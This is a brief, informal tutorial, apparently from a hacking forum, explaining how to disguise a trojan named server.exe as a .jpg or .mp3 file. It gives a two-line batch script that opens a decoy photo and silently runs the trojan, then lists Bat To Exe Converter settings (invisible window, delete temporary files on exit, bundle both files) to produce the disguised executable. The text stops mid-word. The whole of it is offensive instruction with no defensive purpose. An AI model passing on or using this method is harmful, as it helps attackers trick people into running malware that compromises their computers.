make your trojan lock like .jpg .mp3 or any format

you need one small software
for it that is
Bat To Exe Converter v1.5
download it from google it is free and approximatly 421 kb
and process

make new folder and put your server.exe and photo.jpg

make a bat file with following code

call photo.jpg
call server.exe

now open Bat To Exe Converter v1.5

Batch file: browse and select your .bat
visiblity : invisible application
temporary file: delete and exit
working directory :temporary directory
now click on include tab click add and slect server.exe and photo.jpg
now click on compile you don